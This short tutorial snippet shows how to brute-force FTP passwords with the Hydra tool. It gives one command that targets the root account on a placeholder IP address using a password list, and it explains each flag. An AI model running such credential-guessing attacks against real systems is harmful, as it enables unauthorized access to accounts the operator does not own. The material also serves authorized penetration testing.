Brute-force, Cracking, hydra

Crack FTP passwords – Bruteforcing

Hydra – is a very fast network logon cracker which support many different services.


hydra -l root -P passwordslist.txt -e ns -f -t 2 -vV x.x.x.x ftp
-l root    try login with root username
-P passwordslist.txt    load passwords from file passwordslist.txt
-e ns    try null password and try also login as pass (root)
-f    exit when a login/pass pair is found
-t 2    run 2 number of connects in parallel (default 16)
-vV    verbose mode and show login+pass for each attempt
x.x.x.x    service ip address
ftp    protocol to brute force (otherwise you have to define the port)